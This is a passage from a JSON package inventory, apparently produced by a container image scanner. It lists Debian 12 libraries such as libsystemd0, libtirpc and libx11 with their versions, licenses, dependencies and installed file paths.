}, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30", "/usr/share/gcc/python/libstdcxx/__init__.py", "/usr/share/gcc/python/libstdcxx/v6/__init__.py", "/usr/share/gcc/python/libstdcxx/v6/printers.py", "/usr/share/gcc/python/libstdcxx/v6/xmethods.py", "/usr/share/gdb/auto-load/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30-gdb.py" ], "AnalyzedBy": "dpkg" }, { "ID": "libsystemd0@252.39-1~deb12u1", "Name": "libsystemd0", "Identifier": { "PURL": "pkg:deb/debian/libsystemd0@252.39-1~deb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "e40e05a923707d7f" }, "Version": "252.39", "Release": "1~deb12u1", "Arch": "amd64", "SrcName": "systemd", "SrcVersion": "252.39", "SrcRelease": "1~deb12u1", "Licenses": [ "LGPL-2.1-or-later", "CC0-1.0", "GPL-2 with Linux-syscall-note exception", "MIT", "public-domain", "GPL-2.0-or-later", "GPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Debian systemd Maintainers \u003cpkg-systemd-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libcap2@1:2.66-4+deb12u2+b2", "libgcrypt20@1.10.1-3", "liblz4-1@1.9.4-1", "liblzma5@5.4.1-1", "libzstd1@1.5.4+dfsg2-5" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libsystemd.so.0.35.0", "/usr/share/doc/libsystemd0/NEWS.Debian.gz", "/usr/share/doc/libsystemd0/changelog.Debian.gz", "/usr/share/doc/libsystemd0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libtasn1-6@4.19.0-2+deb12u1", "Name": "libtasn1-6", "Identifier": { "PURL": "pkg:deb/debian/libtasn1-6@4.19.0-2%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "9d94479072f547c5" }, "Version": "4.19.0", "Release": "2+deb12u1", "Arch": "amd64", "SrcName": "libtasn1-6", "SrcVersion": "4.19.0", "SrcRelease": "2+deb12u1", "Licenses": [ "LGPL-2.0-or-later", "LGPL-2.1-only", "GPL-3.0-only", "GFDL-1.3-only" ], "Maintainer": "Debian GnuTLS Maintainers \u003cpkg-gnutls-maint@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libtasn1.so.6.6.3", "/usr/share/doc/libtasn1-6/AUTHORS", "/usr/share/doc/libtasn1-6/README.md", "/usr/share/doc/libtasn1-6/THANKS", "/usr/share/doc/libtasn1-6/changelog.Debian.gz", "/usr/share/doc/libtasn1-6/changelog.gz", "/usr/share/doc/libtasn1-6/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libthai-data@0.1.29-1", "Name": "libthai-data", "Identifier": { "PURL": "pkg:deb/debian/libthai-data@0.1.29-1?arch=all\u0026distro=debian-12.13", "UID": "676267aadd4bf8a5" }, "Version": "0.1.29", "Release": "1", "Arch": "all", "SrcName": "libthai", "SrcVersion": "0.1.29", "SrcRelease": "1", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.1-only", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Theppitak Karoonboonyanan \u003cthep@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/doc/libthai-data/changelog.Debian.gz", "/usr/share/doc/libthai-data/changelog.gz", "/usr/share/doc/libthai-data/copyright", "/usr/share/libthai/thbrk.tri" ], "AnalyzedBy": "dpkg" }, { "ID": "libthai0@0.1.29-1", "Name": "libthai0", "Identifier": { "PURL": "pkg:deb/debian/libthai0@0.1.29-1?arch=amd64\u0026distro=debian-12.13", "UID": "616b2418943bbb03" }, "Version": "0.1.29", "Release": "1", "Arch": "amd64", "SrcName": "libthai", "SrcVersion": "0.1.29", "SrcRelease": "1", "Licenses": [ "LGPL-2.1-or-later", "LGPL-2.1-only", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Theppitak Karoonboonyanan \u003cthep@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libdatrie1@0.2.13-2+b1", "libthai-data@0.1.29-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libthai.so.0.3.1", "/usr/share/doc/libthai0/changelog.Debian.gz", "/usr/share/doc/libthai0/changelog.gz", "/usr/share/doc/libthai0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libtinfo6@6.4-4", "Name": "libtinfo6", "Identifier": { "PURL": "pkg:deb/debian/libtinfo6@6.4-4?arch=amd64\u0026distro=debian-12.13", "UID": "63fb711fbf678a31" }, "Version": "6.4", "Release": "4", "Arch": "amd64", "SrcName": "ncurses", "SrcVersion": "6.4", "SrcRelease": "4", "Licenses": [ "MIT/X11", "X11", "BSD-3-Clause" ], "Maintainer": "Craig Small \u003ccsmall@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libtinfo.so.6.4", "/usr/lib/x86_64-linux-gnu/libtic.so.6.4", "/usr/share/doc/libtinfo6/changelog.Debian.gz", "/usr/share/doc/libtinfo6/changelog.gz", "/usr/share/doc/libtinfo6/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libtirpc-common@1.3.3+ds-1", "Name": "libtirpc-common", "Identifier": { "PURL": "pkg:deb/debian/libtirpc-common@1.3.3%2Bds-1?arch=all\u0026distro=debian-12.13", "UID": "f0aaab2ec64443d5" }, "Version": "1.3.3+ds", "Release": "1", "Arch": "all", "SrcName": "libtirpc", "SrcVersion": "1.3.3+ds", "SrcRelease": "1", "Licenses": [ "BSD-3-Clause", "GPL-2.0-only", "__AUTO_PERMISSIVE__", "BSD-2-Clause", "BSD-4-Clause", "LGPL-2.1-or-later", "PERMISSIVE", "LGPL-2.1-only" ], "Maintainer": "Josue Ortega \u003cjosue@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "InstalledFiles": [ "/usr/share/doc/libtirpc-common/NEWS.Debian.gz", "/usr/share/doc/libtirpc-common/changelog.Debian.gz", "/usr/share/doc/libtirpc-common/changelog.gz", "/usr/share/doc/libtirpc-common/copyright", "/usr/share/man/man5/netconfig.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libtirpc-dev@1.3.3+ds-1", "Name": "libtirpc-dev", "Identifier": { "PURL": "pkg:deb/debian/libtirpc-dev@1.3.3%2Bds-1?arch=amd64\u0026distro=debian-12.13", "UID": "e93c5ce35f0d7e1d" }, "Version": "1.3.3+ds", "Release": "1", "Arch": "amd64", "SrcName": "libtirpc", "SrcVersion": "1.3.3+ds", "SrcRelease": "1", "Licenses": [ "BSD-3-Clause", "GPL-2.0-only", "__AUTO_PERMISSIVE__", "BSD-2-Clause", "BSD-4-Clause", "LGPL-2.1-or-later", "PERMISSIVE", "LGPL-2.1-only" ], "Maintainer": "Josue Ortega \u003cjosue@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libtirpc3@1.3.3+ds-1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/include/tirpc/netconfig.h", "/usr/include/tirpc/rpc/auth.h", "/usr/include/tirpc/rpc/auth_des.h", "/usr/include/tirpc/rpc/auth_gss.h", "/usr/include/tirpc/rpc/auth_unix.h", "/usr/include/tirpc/rpc/clnt.h", "/usr/include/tirpc/rpc/clnt_soc.h", "/usr/include/tirpc/rpc/clnt_stat.h", "/usr/include/tirpc/rpc/des.h", "/usr/include/tirpc/rpc/des_crypt.h", "/usr/include/tirpc/rpc/key_prot.h", "/usr/include/tirpc/rpc/nettype.h", "/usr/include/tirpc/rpc/pmap_clnt.h", "/usr/include/tirpc/rpc/pmap_prot.h", "/usr/include/tirpc/rpc/pmap_rmt.h", "/usr/include/tirpc/rpc/raw.h", "/usr/include/tirpc/rpc/rpc.h", "/usr/include/tirpc/rpc/rpc_com.h", "/usr/include/tirpc/rpc/rpc_msg.h", "/usr/include/tirpc/rpc/rpcb_clnt.h", "/usr/include/tirpc/rpc/rpcb_prot.h", "/usr/include/tirpc/rpc/rpcb_prot.x", "/usr/include/tirpc/rpc/rpcent.h", "/usr/include/tirpc/rpc/rpcsec_gss.h", "/usr/include/tirpc/rpc/svc.h", "/usr/include/tirpc/rpc/svc_auth.h", "/usr/include/tirpc/rpc/svc_auth_gss.h", "/usr/include/tirpc/rpc/svc_dg.h", "/usr/include/tirpc/rpc/svc_mt.h", "/usr/include/tirpc/rpc/svc_soc.h", "/usr/include/tirpc/rpc/types.h", "/usr/include/tirpc/rpc/xdr.h", "/usr/include/tirpc/rpcsvc/crypt.h", "/usr/include/tirpc/rpcsvc/crypt.x", "/usr/lib/x86_64-linux-gnu/libtirpc.a", "/usr/lib/x86_64-linux-gnu/pkgconfig/libtirpc.pc", "/usr/share/doc/libtirpc-dev/NEWS.Debian.gz", "/usr/share/doc/libtirpc-dev/THANKS", "/usr/share/doc/libtirpc-dev/TODO", "/usr/share/doc/libtirpc-dev/changelog.Debian.gz", "/usr/share/doc/libtirpc-dev/changelog.gz", "/usr/share/doc/libtirpc-dev/copyright", "/usr/share/man/man3/bindresvport.3t.gz", "/usr/share/man/man3/des_crypt.3t.gz", "/usr/share/man/man3/getnetconfig.3t.gz", "/usr/share/man/man3/getnetpath.3t.gz", "/usr/share/man/man3/getrpcent.3t.gz", "/usr/share/man/man3/getrpcport.3t.gz", "/usr/share/man/man3/rpc.3t.gz", "/usr/share/man/man3/rpc_clnt_auth.3t.gz", "/usr/share/man/man3/rpc_clnt_calls.3t.gz", "/usr/share/man/man3/rpc_clnt_create.3t.gz", "/usr/share/man/man3/rpc_gss_get_error.3t.gz", "/usr/share/man/man3/rpc_gss_get_mech_info.3t.gz", "/usr/share/man/man3/rpc_gss_get_mechanisms.3t.gz", "/usr/share/man/man3/rpc_gss_get_principal_name.3t.gz", "/usr/share/man/man3/rpc_gss_get_versions.3t.gz", "/usr/share/man/man3/rpc_gss_getcred.3t.gz", "/usr/share/man/man3/rpc_gss_is_installed.3t.gz", "/usr/share/man/man3/rpc_gss_max_data_length.3t.gz", "/usr/share/man/man3/rpc_gss_mech_to_oid.3t.gz", "/usr/share/man/man3/rpc_gss_qop_to_num.3t.gz", "/usr/share/man/man3/rpc_gss_seccreate.3t.gz", "/usr/share/man/man3/rpc_gss_set_callback.3t.gz", "/usr/share/man/man3/rpc_gss_set_defaults.3t.gz", "/usr/share/man/man3/rpc_gss_set_svc_name.3t.gz", "/usr/share/man/man3/rpc_gss_svc_max_data_length.3t.gz", "/usr/share/man/man3/rpc_secure.3t.gz", "/usr/share/man/man3/rpc_soc.3t.gz", "/usr/share/man/man3/rpc_svc_calls.3t.gz", "/usr/share/man/man3/rpc_svc_create.3t.gz", "/usr/share/man/man3/rpc_svc_err.3t.gz", "/usr/share/man/man3/rpc_svc_reg.3t.gz", "/usr/share/man/man3/rpc_xdr.3t.gz", "/usr/share/man/man3/rpcbind.3t.gz", "/usr/share/man/man3/rpcsec_gss.3t.gz", "/usr/share/man/man3/rtime.3t.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libtirpc3@1.3.3+ds-1", "Name": "libtirpc3", "Identifier": { "PURL": "pkg:deb/debian/libtirpc3@1.3.3%2Bds-1?arch=amd64\u0026distro=debian-12.13", "UID": "a3ca82acff225750" }, "Version": "1.3.3+ds", "Release": "1", "Arch": "amd64", "SrcName": "libtirpc", "SrcVersion": "1.3.3+ds", "SrcRelease": "1", "Licenses": [ "BSD-3-Clause", "GPL-2.0-only", "__AUTO_PERMISSIVE__", "BSD-2-Clause", "BSD-4-Clause", "LGPL-2.1-or-later", "PERMISSIVE", "LGPL-2.1-only" ], "Maintainer": "Josue Ortega \u003cjosue@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libgssapi-krb5-2@1.20.1-2+deb12u4", "libtirpc-common@1.3.3+ds-1" ], "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libtirpc.so.3.0.0", "/usr/share/doc/libtirpc3/NEWS.Debian.gz", "/usr/share/doc/libtirpc3/changelog.Debian.gz", "/usr/share/doc/libtirpc3/changelog.gz", "/usr/share/doc/libtirpc3/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libtsan2@12.2.0-14+deb12u1", "Name": "libtsan2", "Identifier": { "PURL": "pkg:deb/debian/libtsan2@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "311d60f119d53c18" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-12-base@12.2.0-14+deb12u1", "libc6@2.36-9+deb12u13", "libgcc-s1@12.2.0-14+deb12u1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libtsan.so.2.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libubsan1@12.2.0-14+deb12u1", "Name": "libubsan1", "Identifier": { "PURL": "pkg:deb/debian/libubsan1@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "d3db3f96faabe6ae" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-12-base@12.2.0-14+deb12u1", "libc6@2.36-9+deb12u13", "libgcc-s1@12.2.0-14+deb12u1", "libstdc++6@12.2.0-14+deb12u1" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libubsan.so.1.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libudev1@252.39-1~deb12u1", "Name": "libudev1", "Identifier": { "PURL": "pkg:deb/debian/libudev1@252.39-1~deb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "c3ea0c1cf2966c72" }, "Version": "252.39", "Release": "1~deb12u1", "Arch": "amd64", "SrcName": "systemd", "SrcVersion": "252.39", "SrcRelease": "1~deb12u1", "Licenses": [ "LGPL-2.1-or-later", "CC0-1.0", "GPL-2 with Linux-syscall-note exception", "MIT", "public-domain", "GPL-2.0-or-later", "GPL-2.0-only", "LGPL-2.1-only" ], "Maintainer": "Debian systemd Maintainers \u003cpkg-systemd-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libudev.so.1.7.5", "/usr/share/doc/libudev1/NEWS.Debian.gz", "/usr/share/doc/libudev1/changelog.Debian.gz", "/usr/share/doc/libudev1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libunistring2@1.0-2", "Name": "libunistring2", "Identifier": { "PURL": "pkg:deb/debian/libunistring2@1.0-2?arch=amd64\u0026distro=debian-12.13", "UID": "396221c6cbc2ebe9" }, "Version": "1.0", "Release": "2", "Arch": "amd64", "SrcName": "libunistring", "SrcVersion": "1.0", "SrcRelease": "2", "Licenses": [ "LGPL-3.0-or-later", "GPL-2.0-or-later", "FreeSoftware", "GPL-3.0-or-later", "GFDL-1.2-or-later", "GPL-2+ with distribution exception", "MIT", "LGPL-3.0-only", "GPL-3.0-only", "GPL-2.0-only", "GFDL-1.2-only" ], "Maintainer": "Jörg Frings-Fürst \u003cdebian@jff.email\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libunistring.so.2.2.0", "/usr/share/doc/libunistring2/changelog.Debian.gz", "/usr/share/doc/libunistring2/changelog.gz", "/usr/share/doc/libunistring2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libunwind8@1.6.2-3", "Name": "libunwind8", "Identifier": { "PURL": "pkg:deb/debian/libunwind8@1.6.2-3?arch=amd64\u0026distro=debian-12.13", "UID": "eabab0baa6f1ea3e" }, "Version": "1.6.2", "Release": "3", "Arch": "amd64", "SrcName": "libunwind", "SrcVersion": "1.6.2", "SrcRelease": "3", "Licenses": [ "MIT", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Adrian Bunk \u003cbunk@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "liblzma5@5.4.1-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libunwind-coredump.so.0.0.0", "/usr/lib/x86_64-linux-gnu/libunwind-ptrace.so.0.0.0", "/usr/lib/x86_64-linux-gnu/libunwind-x86_64.so.8.0.1", "/usr/lib/x86_64-linux-gnu/libunwind.so.8.0.1", "/usr/share/doc/libunwind8/changelog.Debian.gz", "/usr/share/doc/libunwind8/changelog.gz", "/usr/share/doc/libunwind8/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libuuid1@2.38.1-5+deb12u3", "Name": "libuuid1", "Identifier": { "PURL": "pkg:deb/debian/libuuid1@2.38.1-5%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "9e9dd0fdd8a2646" }, "Version": "2.38.1", "Release": "5+deb12u3", "Arch": "amd64", "SrcName": "util-linux", "SrcVersion": "2.38.1", "SrcRelease": "5+deb12u3", "Licenses": [ "GPL-2.0-or-later", "GPL-2.0-only", "GPL-3.0-or-later", "public-domain", "BSD-4-Clause", "MIT", "BSD-3-Clause", "BSLA", "LGPL-2.0-or-later", "LGPL-2.1-or-later", "LGPL-3.0-or-later", "GPL-3.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "util-linux packagers \u003cutil-linux@packages.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0", "/usr/share/doc/libuuid1/changelog.Debian.gz", "/usr/share/doc/libuuid1/changelog.gz", "/usr/share/doc/libuuid1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libwayland-server0@1.21.0-1", "Name": "libwayland-server0", "Identifier": { "PURL": "pkg:deb/debian/libwayland-server0@1.21.0-1?arch=amd64\u0026distro=debian-12.13", "UID": "da10dc1c55c22184" }, "Version": "1.21.0", "Release": "1", "Arch": "amd64", "SrcName": "wayland", "SrcVersion": "1.21.0", "SrcRelease": "1", "Licenses": [ "X11" ], "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libffi8@3.4.4-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libwayland-server.so.0.21.0", "/usr/share/doc/libwayland-server0/changelog.Debian.gz", "/usr/share/doc/libwayland-server0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libx11-6@2:1.8.4-2+deb12u2", "Name": "libx11-6", "Identifier": { "PURL": "pkg:deb/debian/libx11-6@1.8.4-2%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "1e35666400100143" }, "Version": "1.8.4", "Release": "2+deb12u2", "Epoch": 2, "Arch": "amd64", "SrcName": "libx11", "SrcVersion": "1.8.4", "SrcRelease": "2+deb12u2", "SrcEpoch": 2, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libx11-data@2:1.8.4-2+deb12u2", "libxcb1@1.15-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libX11.so.6.4.0", "/usr/share/doc/libx11-6/NEWS.Debian.gz", "/usr/share/doc/libx11-6/changelog.Debian.gz", "/usr/share/doc/libx11-6/changelog.gz", "/usr/share/doc/libx11-6/copyright", "/usr/share/lintian/overrides/libx11-6" ], "AnalyzedBy": "dpkg" }, { "ID": "libx11-data@2:1.8.4-2+deb12u2", "Name": "libx11-data", "Identifier": { "PURL": "pkg:deb/debian/libx11-data@1.8.4-2%2Bdeb12u2?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "f827acf1217240fc" }, "Version": "1.8.4", "Release": "2+deb12u2", "Epoch": 2, "Arch": "all", "SrcName": "libx11", "SrcVersion": "1.8.4", "SrcRelease": "2+deb12u2", "SrcEpoch": 2, "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/share/X11/XErrorDB", "/usr/share/X11/locale/C/Compose", "/usr/share/X11/locale/C/XI18N_OBJS", "/usr/share/X11/locale/C/XLC_LOCALE", "/usr/share/X11/locale/am_ET.UTF-8/Compose", "/usr/share/X11/locale/am_ET.UTF-8/XI18N_OBJS", "/usr/share/X11/locale/am_ET.UTF-8/XLC_LOCALE", "/usr/share/X11/locale/armscii-8/Compose", "/usr/share/X11/locale/armscii-8/XI18N_OBJS", "/usr/share/X11/locale/armscii-8/XLC_LOCALE", "/usr/share/X11/locale/compose.dir", "/usr/share/X11/locale/cs_CZ.UTF-8/Compose", "/usr/share/X11/locale/cs_CZ.UTF-8/XI18N_OBJS", "/usr/share/X11/locale/cs_CZ.UTF-8/XLC_LOCALE", "/usr/share/X11/locale/el_GR.UTF-8/Compose", "/usr/share/X11/locale/el_GR.UTF-8/XI18N_OBJS", "/usr/share/X11/locale/el_GR.UTF-8/XLC_LOCALE", "/usr/share/X11/locale/en_US.UTF-8/Compose", "/usr/share/X11/locale/en_US.UTF-8/XI18N_OBJS", "/usr/share/X11/locale/en_US.UTF-8/XLC_LOCALE", "/usr/share/X11/locale/fi_FI.UTF-8/Compose", "/usr/share/X11/locale/fi_FI.UTF-8/XI18N_OBJS", "/usr/share/X11/locale/fi_FI.UTF-8/XLC_LOCALE", "/usr/share/X11/locale/georgian-academy/Compose", "/usr/share/X11/locale/georgian-academy/XI18N_OBJS", "/usr/share/X11/locale/georgian-academy/XLC_LOCALE", "/usr/share/X11/locale/georgian-ps/Compose", "/usr/share/X11/locale/georgian-ps/XI18N_OBJS", "/usr/share/X11/locale/georgian-ps/XLC_LOCALE", "/usr/share/X11/locale/ibm-cp1133/Compose", "/usr/share/X11/locale/ibm-cp1133/XI18N_OBJS", "/usr/share/X11/locale/ibm-cp1133/XLC_LOCALE", "/usr/share/X11/locale/iscii-dev/Compose", "/usr/share/X11/locale/iscii-dev/XI18N_OBJS", "/usr/share/X11/locale/iscii-dev/XLC_LOCALE", "/usr/share/X11/locale/isiri-3342/Compose", "/usr/share/X11/locale/isiri-3342/XI18N_OBJS", "/usr/share/X11/locale/isiri-3342/XLC_LOCALE", "/usr/share/X11/locale/iso8859-1/Compose", "/usr/share/X11/locale/iso8859-1/XI18N_OBJS", "/usr/share/X11/locale/iso8859-1/XLC_LOCALE", "/usr/share/X11/locale/iso8859-10/Compose", "/usr/share/X11/locale/iso8859-10/XI18N_OBJS", "/usr/share/X11/locale/iso8859-10/XLC_LOCALE", "/usr/share/X11/locale/iso8859-11/Compose", "/usr/share/X11/locale/iso8859-11/XI18N_OBJS", "/usr/share/X11/locale/iso8859-11/XLC_LOCALE", "/usr/share/X11/locale/iso8859-13/Compose", "/usr/share/X11/locale/iso8859-13/XI18N_OBJS", "/usr/share/X11/locale/iso8859-13/XLC_LOCALE", "/usr/share/X11/locale/iso8859-14/Compose", "/usr/share/X11/locale/iso8859-14/XI18N_OBJS", "/usr/share/X11/locale/iso8859-14/XLC_LOCALE", "/usr/share/X11/locale/iso8859-15/Compose", "/usr/share/X11/locale/iso8859-15/XI18N_OBJS", "/usr/share/X11/locale/iso8859-15/XLC_LOCALE", "/usr/share/X11/locale/iso8859-2/Compose", "/usr/share/X11/locale/iso8859-2/XI18N_OBJS", "/usr/share/X11/locale/iso8859-2/XLC_LOCALE", "/usr/share/X11/locale/iso8859-3/Compose", "/usr/share/X11/locale/iso8859-3/XI18N_OBJS", "/usr/share/X11/locale/iso8859-3/XLC_LOCALE", "/usr/share/X11/locale/iso8859-4/Compose", "/usr/share/X11/locale/iso8859-4/XI18N_OBJS", "/usr/share/X11/locale/iso8859-4/XLC_LOCALE", "/usr/share/X11/locale/iso8859-5/Compose", "/usr/share/X11/locale/iso8859-5/XI18N_OBJS", "/usr/share/X11/locale/iso8859-5/XLC_LOCALE", "/usr/share/X11/locale/iso8859-6/Compose", "/usr/share/X11/locale/iso8859-6/XI18N_OBJS", "/usr/share/X11/locale/iso8859-6/XLC_LOCALE", "/usr/share/X11/locale/iso8859-7/Compose", "/usr/share/X11/locale/iso8859-7/XI18N_OBJS", "/usr/share/X11/locale/iso8859-7/XLC_LOCALE", "/usr/share/X11/locale/iso8859-8/Compose", "/usr/share/X11/locale/iso8859-8/XI18N_OBJS", "/usr/share/X11/locale/iso8859-8/XLC_LOCALE", "/usr/share/X11/locale/iso8859-9/Compose", "/usr/share/X11/locale/iso8859-9/XI18N_OBJS", "/usr/share/X11/locale/iso8859-9/XLC_LOCALE", "/usr/share/X11/locale/iso8859-9e/Compose", "/usr/share/X11/locale/iso8859-9e/XI18N_OBJS", "/usr/share/X11/locale/iso8859-9e/XLC_LOCALE", "/usr/share/X11/locale/ja.JIS/Compose", "/usr/share/X11/locale/ja.JIS/XI18N_OBJS", "/usr/share/X11/locale/ja.JIS/XLC_LOCALE", "/usr/share/X11/locale/ja.SJIS/Compose", "/usr/share/X11/locale/ja.SJIS/XI18N_OBJS", "/usr/share/X11/locale/ja.SJIS/XLC_LOCALE", "/usr/share/X11/locale/ja/Compose", "/usr/share/X11/locale/ja/XI18N_OBJS", "/usr/share/X11/locale/ja/XLC_LOCALE", "/usr/share/X11/locale/ja_JP.UTF-8/Compose", "/usr/share/X11/locale/ja_JP.UTF-8/XI18N_OBJS", "/usr/share/X11/locale/ja_JP.UTF-8/XLC_LOCALE", "/usr/share/X11/locale/km_KH.UTF-8/Compose", "/usr/share/X11/locale/km_KH.UTF-8/XI18N_OBJS", "/usr/share/X11/locale/km_KH.UTF-8/XLC_LOCALE", "/usr/share/X11/locale/ko/Compose", "/usr/share/X11/locale/ko/XI18N_OBJS", "/usr/share/X11/locale/ko/XLC_LOCALE", "/usr/share/X11/locale/ko_KR.UTF-8/Compose", "/usr/share/X11/locale/ko_KR.UTF-8/XI18N_OBJS", "/usr/share/X11/locale/ko_KR.UTF-8/XLC_LOCALE", "/usr/share/X11/locale/koi8-c/Compose", "/usr/share/X11/locale/koi8-c/XI18N_OBJS", "/usr/share/X11/locale/koi8-c/XLC_LOCALE", "/usr/share/X11/locale/koi8-r/Compose", "/usr/share/X11/locale/koi8-r/XI18N_OBJS", "/usr/share/X11/locale/koi8-r/XLC_LOCALE", "/usr/share/X11/locale/koi8-u/Compose", "/usr/share/X11/locale/koi8-u/XI18N_OBJS", "/usr/share/X11/locale/koi8-u/XLC_LOCALE", "/usr/share/X11/locale/locale.alias", "/usr/share/X11/locale/locale.dir", "/usr/share/X11/locale/microsoft-cp1251/Compose", "/usr/share/X11/locale/microsoft-cp1251/XI18N_OBJS", "/usr/share/X11/locale/microsoft-cp1251/XLC_LOCALE", "/usr/share/X11/locale/microsoft-cp1255/Compose", "/usr/share/X11/locale/microsoft-cp1255/XI18N_OBJS", "/usr/share/X11/locale/microsoft-cp1255/XLC_LOCALE", "/usr/share/X11/locale/microsoft-cp1256/Compose", 